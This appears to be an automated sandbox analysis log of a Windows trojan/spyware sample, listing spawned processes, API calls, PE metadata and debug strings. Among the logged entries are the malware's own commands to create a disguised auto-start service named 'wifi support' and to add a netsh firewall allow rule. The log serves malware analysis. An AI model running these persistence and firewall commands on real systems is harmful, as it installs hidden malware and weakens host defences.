Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_00402491 NtOpenKey,	16_1_00402491
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_04F3F5C0 NtUnmapViewOfSection,	21_2_04F3F5C0
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_04F3F6A0 NtAllocateVirtualMemory,	21_2_04F3F6A0

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Code function: 19_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

19_2_00408E26

Source: 8A6B.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: BBBC.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 7D38.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: B3EB.exe.5.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: CF17.exe.5.dr	Static PE information: Section: .rsrc ZLIB complexity 0.997721976577
Source: A15C.exe.5.dr	Static PE information: Section: .rsrc ZLIB complexity 0.997770524618
Source: B3EB.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: B3EB.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: B3EB.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: B3EB.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: C487.exe.5.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577

Source: sbxGIUIhRd.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\adijaeg

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@60/26@82/18

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: 19_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		19_2_00409A6B
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		35_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Code function: 19_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

19_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\A15C.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\63DA.tmp\63DB.tmp\63DC.bat C:\Users\user\AppData\Local\Temp\A15C.exe

Source: sbxGIUIhRd.exe	Virustotal: Detection: 36%
Source: sbxGIUIhRd.exe	ReversingLabs: Detection: 48%

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\sbxGIUIhRd.exe "C:\Users\user\Desktop\sbxGIUIhRd.exe"
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Process created: C:\Users\user\Desktop\sbxGIUIhRd.exe "C:\Users\user\Desktop\sbxGIUIhRd.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\adijaeg C:\Users\user\AppData\Roaming\adijaeg
Source: C:\Users\user\AppData\Roaming\adijaeg	Process created: C:\Users\user\AppData\Roaming\adijaeg C:\Users\user\AppData\Roaming\adijaeg
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8A6B.exe C:\Users\user\AppData\Local\Temp\8A6B.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\95C6.exe C:\Users\user\AppData\Local\Temp\95C6.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6760 -ip 6760
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Process created: C:\Users\user\AppData\Local\Temp\95C6.exe C:\Users\user\AppData\Local\Temp\95C6.exe
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CFE8.exe C:\Users\user\AppData\Local\Temp\CFE8.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E2A6.exe C:\Users\user\AppData\Local\Temp\E2A6.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FA5C.exe C:\Users\user\AppData\Local\Temp\FA5C.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\txlhcyih\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description txlhcyih "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start txlhcyih
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: unknown	Process created: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d"C:\Users\user\AppData\Local\Temp\E2A6.exe"
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process created: C:\Users\user\AppData\Local\Temp\FA5C.exe C:\Users\user\AppData\Local\Temp\FA5C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7D38.exe C:\Users\user\AppData\Local\Temp\7D38.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\adijaeg C:\Users\user\AppData\Roaming\adijaeg
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\96DB.exe C:\Users\user\AppData\Local\Temp\96DB.exe
Source: C:\Users\user\AppData\Roaming\adijaeg	Process created: C:\Users\user\AppData\Roaming\adijaeg C:\Users\user\AppData\Roaming\adijaeg
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A15C.exe C:\Users\user\AppData\Local\Temp\A15C.exe
Source: C:\Users\user\AppData\Local\Temp\A15C.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\96DB.exe	Process created: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe"
Source: C:\Users\user\AppData\Local\Temp\A15C.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\63DA.tmp\63DB.tmp\63DC.bat C:\Users\user\AppData\Local\Temp\A15C.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\Temp\63DA.tmp\63DB.tmp\extd.exe C:\Users\user\AppData\Local\Temp\63DA.tmp\63DB.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Process created: C:\Users\user\Desktop\sbxGIUIhRd.exe "C:\Users\user\Desktop\sbxGIUIhRd.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8A6B.exe C:\Users\user\AppData\Local\Temp\8A6B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\95C6.exe C:\Users\user\AppData\Local\Temp\95C6.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CFE8.exe C:\Users\user\AppData\Local\Temp\CFE8.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E2A6.exe C:\Users\user\AppData\Local\Temp\E2A6.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FA5C.exe C:\Users\user\AppData\Local\Temp\FA5C.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Process created: C:\Users\user\AppData\Roaming\adijaeg C:\Users\user\AppData\Roaming\adijaeg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Process created: C:\Users\user\AppData\Local\Temp\95C6.exe C:\Users\user\AppData\Local\Temp\95C6.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6760 -ip 6760	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 520	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\txlhcyih\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description txlhcyih "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start txlhcyih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process created: C:\Users\user\AppData\Local\Temp\FA5C.exe C:\Users\user\AppData\Local\Temp\FA5C.exe	Jump to behavior
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\8A6B.tmp

Jump to behavior

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Code function: 0_2_00419C9A SetLastError,GetConsoleCursorInfo,GetProfileStringA,WriteProfileSectionW,GetProfileStringA,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryW,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeaps,WritePrivateProfileStringA,SetPriorityClass,

0_2_00419C9A

Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6924:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6760
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6316:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2860:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4620:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5152:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2216:120:WilError_01

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: 0.0	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: hijaduvinijebup	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: mocisacatenu	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: wapejan	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: wovag	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: cbH	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: Piruvora	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: gukafipa	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: mawecamaxe	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: Hiwejanoji	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: Pusazide	0_2_00419EFB
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Command line argument: hukujid	0_2_00419EFB
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Command line argument: cbH	19_2_00419EAB
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Command line argument: cbH	19_2_00419EAB
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Command line argument: cbH	35_2_00419EAB
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Command line argument: cbH	35_2_00419EAB

Source: FA5C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: FA5C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 21.0.FA5C.exe.530000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 39.2.FA5C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 39.2.FA5C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\8A6B.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: sbxGIUIhRd.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: sbxGIUIhRd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: sbxGIUIhRd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: sbxGIUIhRd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: sbxGIUIhRd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: sbxGIUIhRd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: sbxGIUIhRd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: sbxGIUIhRd.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000011.00000003.771800332.0000000001127000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.770525500.0000000005019000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.772754936.0000000001121000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: MUC:\des.pdbh source: sbxGIUIhRd.exe, 00000000.00000000.658796199.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000001.00000000.662835925.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000000.749578013.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000002.754692319.0000000000401000.00000020.00020000.sdmp, adijaeg, 0000000A.00000000.751678783.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000000.762080930.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000002.772256038.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 00000010.00000000.767772391.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbz:^^ source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdby2V] source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: LC:\tiroducelidayu\citakuyar\g.pdbh source: E2A6.exe, 00000013.00000000.780837956.0000000000401000.00000020.00020000.sdmp, gaystiqf.exe, 00000023.00000000.802951269.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: C:\fuzobeficepo\fiwasito\cat45\yivo.pdb source: CFE8.exe, 00000012.00000000.774792717.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 8A6B.exe, 0000000C.00000000.756911608.0000000000413000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000002.806679360.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000011.00000002.805591545.0000000005480000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000011.00000003.778539086.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbv source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb^ source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: C:\des.pdb source: sbxGIUIhRd.exe, sbxGIUIhRd.exe, 00000000.00000000.658796199.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, sbxGIUIhRd.exe, 00000001.00000000.662835925.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000000.749578013.0000000000401000.00000020.00020000.sdmp, adijaeg, 00000009.00000002.754692319.0000000000401000.00000020.00020000.sdmp, adijaeg, 0000000A.00000000.751678783.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000000.762080930.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 0000000D.00000002.772256038.0000000000401000.00000020.00020000.sdmp, 95C6.exe, 00000010.00000000.767772391.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbT source: WerFault.exe, 00000011.00000003.778582484.0000000005466000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000011.00000003.778556492.0000000005460000.00000004.00000040.sdmp
